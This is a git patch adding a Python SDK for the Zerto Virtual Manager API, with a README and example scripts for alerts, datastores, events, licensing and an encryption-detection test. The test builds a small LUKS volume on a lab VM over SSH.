From ba16ef9a0850f9555cc85671070b9167698f9a97 Mon Sep 17 00:00:00 2001 From: Kosta Mushkin Date: Sat, 12 Apr 2025 14:33:32 -0400 Subject: [PATCH] initial commit --- README.md | 278 ++++- __init__.py | 0 examples/alerts_example.py | 106 ++ examples/datastore_example.py | 100 ++ examples/encryption_detection_example.py | 117 ++ examples/events_example.py | 136 +++ examples/license_example.py | 127 +++ examples/localsite_example.py | 138 +++ examples/peersites_example.py | 147 +++ examples/ransomware/create_dataset.py | 78 ++ examples/ransomware/decrypt.py | 129 +++ examples/ransomware/encrypt.py | 140 +++ examples/reports_example.py | 41 + examples/server_date_time_example.py | 98 ++ examples/service_profiles_example.py | 111 ++ examples/tweaks_example.py | 156 +++ examples/update_existing_vpgs_example.py | 230 ++++ examples/virtualization_sites_example.py | 282 +++++ examples/vms_example.py | 243 +++++ examples/volumes_example.py | 138 +++ examples/vpg_failover_example.py | 422 ++++++++ examples/vpg_setting_export_example.py | 181 ++++ examples/vpg_vms_example.py | 304 ++++++ examples/vras_example.py | 262 +++++ examples/zorgs_example.py | 139 +++ requirements.txt | 2 + zvml/__init__.py | 1 + zvml/__pycache__/__init__.cpython-313.pyc | Bin 0 -> 275 bytes zvml/__pycache__/alerts.cpython-313.pyc | Bin 0 -> 16164 bytes zvml/__pycache__/checkpoints.cpython-313.pyc | Bin 0 -> 865 bytes zvml/__pycache__/client.cpython-313.pyc | Bin 0 -> 5666 bytes zvml/__pycache__/common.cpython-313.pyc | Bin 0 -> 20007 bytes zvml/__pycache__/datastores.cpython-313.pyc | Bin 0 -> 2702 bytes .../encryptiondetection.cpython-313.pyc | Bin 0 -> 8500 bytes zvml/__pycache__/events.cpython-313.pyc | Bin 0 -> 10418 bytes zvml/__pycache__/failover.cpython-313.pyc | Bin 0 -> 947 bytes zvml/__pycache__/license.cpython-313.pyc | Bin 0 -> 8162 bytes zvml/__pycache__/localsite.cpython-313.pyc | Bin 0 -> 9701 bytes .../__pycache__/organizations.cpython-313.pyc | Bin 0 -> 5270 bytes zvml/__pycache__/peersites.cpython-313.pyc | Bin 0 -> 15069 bytes .../recovery_reports.cpython-313.pyc | Bin 0 -> 12239 bytes .../recoveryscripts.cpython-313.pyc | Bin 0 -> 5718 bytes zvml/__pycache__/repositories.cpython-313.pyc | Bin 0 -> 5667 bytes .../server_date_time.cpython-313.pyc | Bin 0 -> 3611 bytes .../service_profiles.cpython-313.pyc | Bin 0 -> 3017 bytes zvml/__pycache__/sessions.cpython-313.pyc | Bin 0 -> 3184 bytes zvml/__pycache__/tasks.cpython-313.pyc | Bin 0 -> 3723 bytes zvml/__pycache__/tweaks.cpython-313.pyc | Bin 0 -> 10067 bytes .../virtualization_sites.cpython-313.pyc | Bin 0 -> 51599 bytes zvml/__pycache__/vms.cpython-313.pyc | Bin 0 -> 17168 bytes zvml/__pycache__/volumes.cpython-313.pyc | Bin 0 -> 3624 bytes zvml/__pycache__/vpg_settings.cpython-313.pyc | Bin 0 -> 6723 bytes zvml/__pycache__/vpgs.cpython-313.pyc | Bin 0 -> 55909 bytes zvml/__pycache__/vras.cpython-313.pyc | Bin 0 -> 40255 bytes zvml/__pycache__/zorgs.cpython-313.pyc | Bin 0 -> 3204 bytes zvml/__pycache__/zvma.cpython-313.pyc | Bin 0 -> 5662 bytes zvml/__pycache__/zvml.cpython-313.pyc | Bin 0 -> 5662 bytes zvml/alerts.py | 324 ++++++ zvml/client.py | 109 ++ zvml/common.py | 599 +++++++++++ zvml/datastores.py | 45 + zvml/encryptiondetection.py | 124 +++ zvml/events.py | 241 +++++ zvml/failover.py | 21 + zvml/license.py | 164 +++ zvml/localsite.py | 151 +++ zvml/main.py | 34 + zvml/peersites.py | 275 +++++ zvml/recovery_reports.py | 255 +++++ zvml/recoveryscripts.py | 93 ++ zvml/repositories.py | 95 ++ zvml/server_date_time.py | 72 ++ zvml/service_profiles.py | 61 ++ zvml/sessions.py | 59 ++ zvml/tasks.py | 57 + zvml/tweaks.py | 179 ++++ zvml/virtualization_sites.py | 989 +++++++++++++++++ zvml/vms.py | 349 ++++++ zvml/volumes.py | 59 ++ zvml/vpgs.py | 995 ++++++++++++++++++ zvml/vras.py | 668 ++++++++++++ zvml/zorgs.py | 59 ++ zvml/zvml.py | 109 ++ 83 files changed, 10290 insertions(+), 2 deletions(-) create mode 100644 __init__.py create mode 100644 examples/alerts_example.py create mode 100644 examples/datastore_example.py create mode 100644 examples/encryption_detection_example.py create mode 100644 examples/events_example.py create mode 100644 examples/license_example.py create mode 100644 examples/localsite_example.py create mode 100644 examples/peersites_example.py create mode 100644 examples/ransomware/create_dataset.py create mode 100644 examples/ransomware/decrypt.py create mode 100644 examples/ransomware/encrypt.py create mode 100644 examples/reports_example.py create mode 100644 examples/server_date_time_example.py create mode 100644 examples/service_profiles_example.py create mode 100644 examples/tweaks_example.py create mode 100644 examples/update_existing_vpgs_example.py create mode 100644 examples/virtualization_sites_example.py create mode 100644 examples/vms_example.py create mode 100644 examples/volumes_example.py create mode 100644 examples/vpg_failover_example.py create mode 100644 examples/vpg_setting_export_example.py create mode 100644 examples/vpg_vms_example.py create mode 100644 examples/vras_example.py create mode 100644 examples/zorgs_example.py create mode 100644 requirements.txt create mode 100644 zvml/__init__.py create mode 100644 zvml/__pycache__/__init__.cpython-313.pyc create mode 100644 zvml/__pycache__/alerts.cpython-313.pyc create mode 100644 zvml/__pycache__/checkpoints.cpython-313.pyc create mode 100644 zvml/__pycache__/client.cpython-313.pyc create mode 100644 zvml/__pycache__/common.cpython-313.pyc create mode 100644 zvml/__pycache__/datastores.cpython-313.pyc create mode 100644 zvml/__pycache__/encryptiondetection.cpython-313.pyc create mode 100644 zvml/__pycache__/events.cpython-313.pyc create mode 100644 zvml/__pycache__/failover.cpython-313.pyc create mode 100644 zvml/__pycache__/license.cpython-313.pyc create mode 100644 zvml/__pycache__/localsite.cpython-313.pyc create mode 100644 zvml/__pycache__/organizations.cpython-313.pyc create mode 100644 zvml/__pycache__/peersites.cpython-313.pyc create mode 100644 zvml/__pycache__/recovery_reports.cpython-313.pyc create mode 100644 zvml/__pycache__/recoveryscripts.cpython-313.pyc create mode 100644 zvml/__pycache__/repositories.cpython-313.pyc create mode 100644 zvml/__pycache__/server_date_time.cpython-313.pyc create mode 100644 zvml/__pycache__/service_profiles.cpython-313.pyc create mode 100644 zvml/__pycache__/sessions.cpython-313.pyc create mode 100644 zvml/__pycache__/tasks.cpython-313.pyc create mode 100644 zvml/__pycache__/tweaks.cpython-313.pyc create mode 100644 zvml/__pycache__/virtualization_sites.cpython-313.pyc create mode 100644 zvml/__pycache__/vms.cpython-313.pyc create mode 100644 zvml/__pycache__/volumes.cpython-313.pyc create mode 100644 zvml/__pycache__/vpg_settings.cpython-313.pyc create mode 100644 zvml/__pycache__/vpgs.cpython-313.pyc create mode 100644 zvml/__pycache__/vras.cpython-313.pyc create mode 100644 zvml/__pycache__/zorgs.cpython-313.pyc create mode 100644 zvml/__pycache__/zvma.cpython-313.pyc create mode 100644 zvml/__pycache__/zvml.cpython-313.pyc create mode 100644 zvml/alerts.py create mode 100644 zvml/client.py create mode 100644 zvml/common.py create mode 100644 zvml/datastores.py create mode 100644 zvml/encryptiondetection.py create mode 100644 zvml/events.py create mode 100644 zvml/failover.py create mode 100644 zvml/license.py create mode 100644 zvml/localsite.py create mode 100644 zvml/main.py create mode 100644 zvml/peersites.py create mode 100644 zvml/recovery_reports.py create mode 100644 zvml/recoveryscripts.py create mode 100644 zvml/repositories.py create mode 100644 zvml/server_date_time.py create mode 100644 zvml/service_profiles.py create mode 100644 zvml/sessions.py create mode 100644 zvml/tasks.py create mode 100644 zvml/tweaks.py create mode 100644 zvml/virtualization_sites.py create mode 100644 zvml/vms.py create mode 100644 zvml/volumes.py create mode 100644 zvml/vpgs.py create mode 100644 zvml/vras.py create mode 100644 zvml/zorgs.py create mode 100644 zvml/zvml.py diff --git a/README.md b/README.md index 55fc620..d11124c 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,276 @@ -# zvml-python-sdk -zerto virtual manager linux python library with examples +# zerto-python-library +A Python library for interacting with the Zerto Virtual Manager (ZVM) API. + +## Overview +This library provides a comprehensive Python interface to manage and automate Zerto Virtual Replication operations. It includes functionality for: + +- Managing Virtual Protection Groups (VPGs) +- Handling VM protection and recovery +- Managing checkpoints and recovery points +- Monitoring alerts and events +- Managing licenses +- Configuring service profiles +- Handling encryption detection +- Managing datastores and VRAs +- Working with server date/time settings +- Managing ZORGs (Zerto Organizations) + +## Installation + +git clone https://github.com/your-repo/zerto-python-library.git +cd zerto-python-library +pip install -r requirements.txt + +## Dependencies + +- requests +- urllib3 +- logging +- json +- typing + +## Library Structure + +The library is organized into several modules: + +- `zvml/` - Core library components + - `alerts.py` - Alert management and monitoring + - `checkpoints.py` - Checkpoint operations and management + - `common.py` - Common enums and utilities + - `encryptiondetection.py` - Encryption detection functionality + - `license.py` - License management + - `localsite.py` - Local site operations + - `recovery_reports.py` - Recovery reporting functionality + - `server_date_time.py` - Server time operations + - `service_profiles.py` - Service profile configuration + - `tasks.py` - Task management and monitoring + - `virtualization_sites.py` - Site management operations + - `vpgs.py` - VPG operations and management + - `vras.py` - VRA deployment and management + - `zorgs.py` - ZORG operations + +## Requirements + +- Python 3.6+ +- Zerto Virtual Replication environment +- Network access to ZVM server +- Keycloak authentication credentials + +## Getting Started + +1. Clone the repository +2. Install required dependencies +3. Configure your Zerto environment credentials +4. Run the example scripts to understand basic operations +5. Integrate the library into your automation workflows + +## Authentication + +The library uses Keycloak authentication. You'll need: +- ZVM server address +- Client ID +- Client Secret (* KeyCloak) +- Optional: SSL verification settings + +## KeyCloak +In order to use api client you'll need: +1. Login into ZVML keycloak UI. https://///auth +2. Select zerto realm (Switch from Master to Zerto using left menu drop box) +3. Click on "Clients" using the left menu +4. Click on CreateClient button +5. Fill in client id (will be used for authentication) and client name (logical), click next +6. Enable the following options: "Client authentication", "Authorization", "Standard flow", "Direct access grants", + "Implicit flow", "OAuth 2.0 Device Authorization Grant", click next, click save. +7. Select "Service account roles" tab, click on "Assign Role" button, check mark "admin" (or another role), click on "Assign" button +8. Select "Credentials" tab, copy "Client Secret" +9. Use the combination of the created client id and the client secret for authntication in your code + +## Error Handling + +The library includes comprehensive error handling and logging: +- Input validation +- Error status checking +- Detailed error messages +- Operation status logging + +## Examples + +Each example script demonstrates specific functionality: + +### Alert Management +`alerts_example.py` - Simple alert monitoring and management (list, dismiss, undismiss): + +```bash +python examples/alerts_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### VPG Management with VMs +`vpg_vms_example.py` - VPG creation and VM management between VPGs: + +```bash +python examples/vpg_vms_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl \ +--vm1 "vm-name-1" \ +--vm2 "vm-name-2" +``` + +### VPG Failover Testing +`vpg_failover_example.py` - Complete VPG lifecycle including failover testing: + +```bash +python examples/vpg_failover_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### VRA Management +`vras_example.py` - Interactive VRA deployment and management: + +```bash +python examples/vras_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### ZORG Management +`zorgs_example.py` - ZORG information retrieval and management: + +```bash +python examples/zorgs_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### License Management +`license_example.py` - License information and management: + +```bash +python examples/license_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Events Monitoring +`events_example.py` - Monitor and retrieve Zerto events: + +```bash +python examples/events_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Encryption Detection (not operationa yet) +`encryption_detection_example.py` - Manage encryption detection settings: + +```bash +python examples/encryption_detection_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Service Profiles +`service_profiles_example.py` - Manage service profiles: + +```bash +python examples/service_profiles_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Volumes Management +`volumes_example.py` - Manage protected volumes: + +```bash +python examples/volumes_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Server Date and Time example +`server_date_time_example.py` - Manage protected volumes: + +```bash +python examples/server_date_time_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Datastore management example +`datastore_example.py` - Manage protected volumes: + +```bash +python examples/datastore_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +### Localsite management +`localsite_example.py` - Manage protected volumes: + +```bash +python examples/localsite_example.py \ +--zvm_address "192.168.111.20" \ +--client_id "zerto-api" \ +--client_secret "your-secret-here" \ +--ignore_ssl +``` + +```bash +python examples/peersites_example.py \ + --site1_zvm_address \ + --site1_client_id \ + --site1_client_secret \ + --site2_zvm_address \ + --site2_client_id \ + --site2_client_secret \ + --ignore_ssl +``` + +```bash +python examples/tweaks_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +``` + +Each example includes detailed comments explaining the functionality and demonstrates proper error handling and best practices for using the ZVML SDK. + +## Contributing + +Contributions are welcome! Please feel free to submit a Pull Request. + +## License + +This project includes a legal disclaimer. See the header of each file for details. + +For detailed API documentation and examples, please refer to the individual module files and example scripts. + + \ No newline at end of file diff --git a/__init__.py b/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/examples/alerts_example.py b/examples/alerts_example.py new file mode 100644 index 0000000..6c8b35f --- /dev/null +++ b/examples/alerts_example.py @@ -0,0 +1,106 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + + +""" +Zerto Alert Management Example Script + +This script demonstrates basic alert management using the Zerto Virtual Manager (ZVM) API. +It shows how to list alerts and perform basic alert operations (dismiss/undismiss). + +Key Features: +1. Alert Monitoring: + - List all current alerts + - Display alert details + - Manage alert states (dismiss/undismiss) + +Required Arguments: + --zvm_address: ZVM server address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + +Example Usage: + python examples/alerts_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Alerts Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + logging.basicConfig(level=logging.INFO) + + try: + # Connect to ZVM + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get current alerts + alerts = client.alerts.get_alerts() + if not alerts: + logging.info("No alerts found in the system") + return + + # Display alerts + logging.info(f"Found {len(alerts)} alerts:") + for alert in alerts: + logging.info(f"\nAlert Details:") + logging.info(f" Description: {alert.get('Description')}") + logging.info(f" Status: {alert.get('Status')}") + logging.info(f" Level: {alert.get('Level')}") + logging.info(f" Turn off Time: {alert.get('TurnedOffTime')}") + logging.info(f" Entity: {alert.get('Entity')}") + logging.info(f" Help Identifier: {alert.get('HelpIdentifier')}") + + # Get alert identifier + alert_id = alert.get('Link', {}).get('identifier') + if alert_id: + # Dismiss alert + input(f"\nPress Enter to dismiss alert {alert_id}...") + client.alerts.dismiss_alert(alert_identifier=alert_id) + logging.info(f"Alert {alert_id} dismissed") + + # Undismiss alert + input(f"Press Enter to undismiss alert {alert_id}...") + client.alerts.undismiss_alert(alert_identifier=alert_id) + logging.info(f"Alert {alert_id} undismissed") + + except Exception as e: + logging.exception("Error:") + logging.error(f"Error: {e}") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/datastore_example.py b/examples/datastore_example.py new file mode 100644 index 0000000..6d1c683 --- /dev/null +++ b/examples/datastore_example.py @@ -0,0 +1,100 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Datastores Example Script + +This script demonstrates how to retrieve and list datastores from a Zerto environment. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Gets the local site identifier +3. Lists all datastores in the site +4. Gets detailed information about a specific datastore + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/datastore_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Datastores Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get local site identifier + local_site = client.localsite.get_local_site() + site_identifier = local_site.get('SiteIdentifier') + logging.info(f"Local site identifier: {site_identifier}") + + # Get datastores using VirtualizationSites API + datastores = client.virtualization_sites.get_virtualization_site_datastores(site_identifier) + logging.info("\nDatastores in site:") + logging.info(json.dumps(datastores, indent=2)) + + # Get specific datastore details if any exist + if datastores: + first_ds_id = datastores[0].get('DatastoreIdentifier') + logging.info(f"\nGetting details for specific datastore: {first_ds_id}") + + ds_details = client.datastores.list_datastores(first_ds_id) + logging.info("Datastore details:") + logging.info(json.dumps(ds_details, indent=2)) + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/encryption_detection_example.py b/examples/encryption_detection_example.py new file mode 100644 index 0000000..802b8fd --- /dev/null +++ b/examples/encryption_detection_example.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python3 + +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. + +import argparse +import sys +import os +import time +import paramiko +import logging +import urllib3 +from zvml.client import Client +from zvml.encryptiondetection import EncryptionDetection + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_client(args): + """Initialize and return Zerto client""" + client = Client( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + return client + +def setup_encrypted_volume(ssh_host: str, ssh_user: str, ssh_password: str): + """Create and encrypt a volume on the Linux VM.""" + try: + # Connect to the Linux VM + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + ssh.connect(ssh_host, username=ssh_user, password=ssh_password) + logging.info(f"Successfully connected to {ssh_host}") + + # Create a test file system + commands = [ + "sudo dd if=/dev/zero of=/root/container.img bs=1M count=100", # Create 100MB file + "sudo losetup /dev/loop0 /root/container.img", # Set up loop device + "sudo cryptsetup -y luksFormat /dev/loop0", # Encrypt with LUKS + "echo 'YES' | sudo cryptsetup luksOpen /dev/loop0 encrypted_volume", # Open encrypted volume + "sudo mkfs.ext4 /dev/mapper/encrypted_volume", # Create filesystem + "sudo mkdir -p /mnt/encrypted", # Create mount point + "sudo mount /dev/mapper/encrypted_volume /mnt/encrypted", # Mount encrypted volume + "sudo dd if=/dev/urandom of=/mnt/encrypted/testfile bs=1M count=50" # Create test file with random data + ] + + for cmd in commands: + logging.info(f"Executing: {cmd}") + stdin, stdout, stderr = ssh.exec_command(cmd) + exit_status = stdout.channel.recv_exit_status() + if exit_status != 0: + error = stderr.read().decode() + logging.error(f"Command failed with status {exit_status}: {error}") + raise Exception(f"Command failed: {cmd}") + + logging.info("Successfully created and encrypted test volume") + + except Exception as e: + logging.error(f"Failed to setup encrypted volume: {str(e)}") + raise + finally: + ssh.close() + +def main(): + parser = argparse.ArgumentParser(description="Encryption Detection Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + parser.add_argument("--vm_address", required=True, help="Linux VM address") + parser.add_argument("--vm_user", required=True, help="Linux VM username") + parser.add_argument("--vm_password", required=True, help="Linux VM password") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Setup client + client = setup_client(args) + encryption_detection = EncryptionDetection(client) + logging.info("Successfully connected to ZVM") + + # Setup encrypted volume on Linux VM + setup_encrypted_volume(args.vm_address, args.vm_user, args.vm_password) + + # Wait for encryption detection to process + logging.info("Waiting for encryption detection to process (30 seconds)...") + time.sleep(30) + + # Check for suspected encrypted volumes + detections = encryption_detection.list_suspected_volumes() + + if detections: + logging.info("Suspected encrypted volumes detected:") + for detection in detections: + logging.info(f"Volume: {detection.get('VolumeName', 'Unknown')}") + logging.info(f"Detection Type: {detection.get('DetectionType', 'Unknown')}") + logging.info(f"Confidence Level: {detection.get('ConfidenceLevel', 'Unknown')}") + logging.info("---") + else: + logging.info("No suspected encrypted volumes detected") + + except Exception as e: + logging.exception("Error occurred:") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/events_example.py b/examples/events_example.py new file mode 100644 index 0000000..b1ea3ed --- /dev/null +++ b/examples/events_example.py @@ -0,0 +1,136 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Events Example Script + +This script demonstrates how to retrieve and manage events in a Zerto environment. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Lists available event types +3. Lists available event entities +4. Lists available event categories +5. Retrieves events from the last hour +6. Demonstrates filtered event queries +7. Gets detailed information about specific events + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/events_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient +from datetime import datetime, timedelta + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Events Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get event types + logging.info("\nFetching event types...") + event_types = client.events.list_event_types() + logging.info(f"Found {len(event_types)} event types:") + logging.info(json.dumps(event_types[:3], indent=2)) # Show first 3 for brevity + + # Get event entities + logging.info("\nFetching event entities...") + event_entities = client.events.list_event_entities() + logging.info(f"Found {len(event_entities)} event entities:") + logging.info(json.dumps(event_entities[:3], indent=2)) # Show first 3 for brevity + + # Get event categories + logging.info("\nFetching event categories...") + event_categories = client.events.list_event_categories() + logging.info(f"Found {len(event_categories)} event categories:") + logging.info(json.dumps(event_categories[:3], indent=2)) # Show first 3 for brevity + + # Get events from the last 1 hour + start_date = (datetime.utcnow() - timedelta(hours=1)).isoformat() + 'Z' + end_date = datetime.utcnow().isoformat() + 'Z' + + logging.info(f"\nFetching events from {start_date} to {end_date}...") + events = client.events.list_events( + start_date=start_date, + end_date=end_date + ) + logging.info(f"Found {len(events)} events in the last 24 hours:") + if events: + logging.info(json.dumps(events[:3], indent=2)) # Show first 3 for brevity + + # Get events with filters + logging.info("\nFetching filtered events...") + filtered_events = client.events.list_events( + start_date=start_date, + end_date=end_date, + event_type=18, # Using numeric event type + category="Events" # Using correct category from list_event_categories + ) + logging.info(f"Found {len(filtered_events)} filtered events:") + if filtered_events: + logging.info(json.dumps(filtered_events[:3], indent=2)) # Show first 3 for brevity + + # If we have any events, get details for a specific event + if events: + event_id = events[0].get('EventIdentifier') + logging.info(f"\nFetching details for event {event_id}...") + event_details = client.events.list_events(event_identifier=event_id) + logging.info("Event details:") + logging.info(json.dumps(event_details, indent=2)) + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/license_example.py b/examples/license_example.py new file mode 100644 index 0000000..e359aa5 --- /dev/null +++ b/examples/license_example.py @@ -0,0 +1,127 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto License Management Example Script + +This script demonstrates how to manage Zerto licenses through the API. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Retrieves current license information +3. Updates the license if a new key is provided +4. Verifies the updated license details +5. Optionally can delete the license (commented out for safety) + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --license_key: License key to add/update + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/license_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --license_key \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto License Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--license_key", help="License key to add/update") + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + 